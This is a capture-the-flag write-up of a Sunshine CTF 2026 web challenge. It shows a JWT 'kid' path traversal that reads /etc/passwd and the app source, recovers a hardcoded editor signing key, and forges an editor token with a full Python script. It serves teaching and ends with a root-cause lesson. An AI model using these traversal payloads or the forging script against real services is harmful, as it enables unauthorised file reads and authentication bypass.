You Are Kidding Me
Platform: Sunshine CTF 2026
Category: Web
Points: 325
Author: jex
Target: https://kidding.web.2026.sunshinectf.games/
1. Initial Enumeration
Opening the challenge website shows CHROME HORIZON :: The Motoring Journal of Tomorrow .
There is a reader login at:
and an Editor's Desk at:
The /admin endpoint requires an editor pass.
After requesting a reader pass, the application sets a JWT in the token cookie.
The JWT header contains:
π Copy
1 {
2 "alg" : "HS256" ,
3 "kid" : "reader.key" ,
4 "typ" : "JWT"
5 }
The payload is:
π Copy
1 {
2 "sub" : "reader" ,
3 "role" : "reader"
4 }
The interesting field is:
π Copy
1 kid = reader.key
This tells the server which key to use when verifying the JWT.
2. Testing the JWT
I first tested the JWT with jwt_tool:
π Copy
1 python3.13 jwt_tool.py -M at -r /tmp/req
The request was:
π Copy
1 GET /admin HTTP/2
2
3
The standard JWT attacks did not provide an authentication bypass.
Instead, the behavior of the kid parameter looked interesting.
3. JWT kid Path Traversal
The application uses the JWT kid value to determine the key file.
I modified the JWT header to:
π Copy
1 {
2 "alg" : "HS256" ,
3 "kid" : "../../../../../../etc/passwd" ,
4 "typ" : "JWT"
5 }
I then sent the modified token to:
π Copy
1 GET /admin HTTP/2
2
3
The server returned 401, but the response contained:
π Copy
1 PASS REJECTED :: Signature verification failed
2
3 Pass declared key file: ../../../../../../etc/passwd
4
5 Loaded key file ../../../../../../etc/passwd. Dumping its contents...
The contents of /etc/passwd were also included.
This confirmed that the kid value was being used as a filesystem path.
We therefore had an arbitrary file read .
4. Reading app.py
Since arbitrary files could be read, I changed the kid value to:
π Copy
1 ../../../../../../app/app.py
The JWT header became:
π Copy
1 {
2 "alg" : "HS256" ,
3 "kid" : "../../../../../../app/app.py" ,
4 "typ" : "JWT"
5 }
Sending this token to /admin disclosed the application's source code.
The relevant code was:
π Copy
1 def key_path ( kid ) :
2 return os . path . join ( KEYS_DIR , kid )
3
4 def load_key ( kid ) :
5 with open ( key_path ( kid ) , 'rb' ) as f :
6 return f . read ( )
The problem is that kid comes directly from the JWT and is passed into:
π Copy
1 os . path . join ( KEYS_DIR , kid )
There is no restriction preventing ../ traversal.
Therefore:
π Copy
1 ../../../../../../app/app.py
escapes the intended keys directory.
5. Finding the Editor Key
The disclosed source contained:
π Copy
1 READER_KEY = secrets . token_hex ( 32 ) . encode ( )
2
3 EDITOR_KEY = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p'
The reader key is randomly generated, but the editor key is hardcoded.
The application also creates:
π Copy
1 keys/reader.key
2 keys/editor.key
The important value we obtained from the source was:
π Copy
1 ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p
6. Understanding the Admin Check
The /admin endpoint extracts the JWT header:
π Copy
1 header = jwt . get_unverified_header ( token )
2 kid = header . get ( 'kid' , 'reader.key' )
It then loads the corresponding key:
π Copy
1 key = load_key ( kid )
and verifies the JWT:
π Copy
1 claims = jwt . decode (
2 token ,
3 key ,
4 algorithms = [ 'HS256' ]
5 )
Finally, the application checks the role:
π Copy
1 role = claims . get ( 'role' , 'reader' )
2
3 if role != 'editor' :
4 . . .
Therefore, we need to create a valid JWT containing:
π Copy
1 {
2 "sub" : "editor" ,
3 "role" : "editor"
4 }
and make the JWT reference:
7. Creating the Forged JWT
Using the leaked editor signing key, I generated a new HS256 JWT.
π Copy
1 import base64
2 import hashlib
3 import hmac
4 import json
5
6 def b64 ( data ) :
7 return base64 . urlsafe_b64encode ( data ) . rstrip ( b'=' ) . decode ( )
8
9 header = {
10 "alg" : "HS256" ,
11 "kid" : "editor.key" ,
12 "typ" : "JWT"
13 }
14
15 payload = {
16 "sub" : "editor" ,
17 "role" : "editor"
18 }
19
20 h = b64 (
21 json . dumps (
22 header ,
23 separators = ( "," , ":" )
24 ) . encode ( )
25 )
26
27 p = b64 (
28 json . dumps (
29 payload ,
30 separators = ( "," , ":" )
31 ) . encode ( )
32 )
33
34 message = f" { h } . { p } " . encode ( )
35
36 key = b"ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p"
37
38 signature = hmac . new (
39 key ,
40 message ,
41 hashlib . sha256
42 ) . digest ( )
43
44 token = f" { h } . { p } . { b64 ( signature ) } "
45
46 print ( token )
This creates a valid JWT with:
π Copy
1 {
2 "alg" : "HS256" ,
3 "kid" : "editor.key" ,
4 "typ" : "JWT"
5 }
Payload
π Copy
1 {
2 "sub" : "editor" ,
3 "role" : "editor"
4 }
8. Using the Forged JWT
I replaced the original reader token with the forged token:
π Copy
1 GET /admin HTTP/2
2
3
The application sees:
π Copy
1 kid = editor.key
and therefore loads:
π Copy
1 keys/editor.key
The signature is valid because the JWT was signed with the leaked EDITOR_KEY.
The application then reads:
and passes the authorization check.
The Editorβs Desk is displayed and the flag is revealed .
9. Complete Attack Chain
π Copy
1 Reader JWT
2 β
3 βΌ
4 Manipulate `kid`
5 β
6 βΌ
7 ../../../../../../etc/passwd
8 β
9 βΌ
10 Confirm arbitrary file read
11 β
12 βΌ
13 ../../../../../../app/app.py
14 β
15 βΌ
16 Read application source
17 β
18 βΌ
19 Find hardcoded EDITOR_KEY
20 β
21 βΌ
22 Forge HS256 JWT
23 β
24 βββ kid = editor.key
25 βββ sub = editor
26 βββ role = editor
27 β
28 βΌ
29 Set forged JWT as `token` cookie
30 β
31 βΌ
32 GET /admin
33 β
34 βΌ
35 Editor authentication
36 β
37 βΌ
38 FLAG
10. Root Cause
The main vulnerability is the unsafe handling of the JWT kid header.
The application trusts attacker-controlled input:
π Copy
1 def key_path ( kid ) :
2 return os . path . join ( KEYS_DIR , kid )
without ensuring that the resulting path remains inside KEYS_DIR.
This allows:
path traversal and arbitrary file reads.
The impact is increased because the application source contains a hardcoded editor signing key:
π Copy
1 EDITOR_KEY = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p'
Once this key is obtained, an attacker can forge an editor JWT.
11. Exploitation Summary
Step Action Result 1 Obtain reader JWT Valid reader token 2 Modify kid Control key-file path 3 Use ../ traversal Arbitrary file read 4 Read /app/app.py Source disclosure 5 Find EDITOR_KEY Obtain signing secret 6 Forge HS256 JWT Create valid editor token 7 Set token cookie Authenticate with forged token 8 Request /admin Editor access 9 View Editor's Desk Flag obtained
Conclusion
The challenge chains multiple issues together:
JWT kid path traversal β arbitrary file read β source-code disclosure β hardcoded signing key β forged editor JWT β admin access β flag.
The important lesson is that a JWT header such as kid should not be directly converted into a filesystem path without strict validation. Even though the application attempted to protect sensitive files, the ability to read app.py was enough to recover the editor signing key and completely bypass the intended role-based authentication.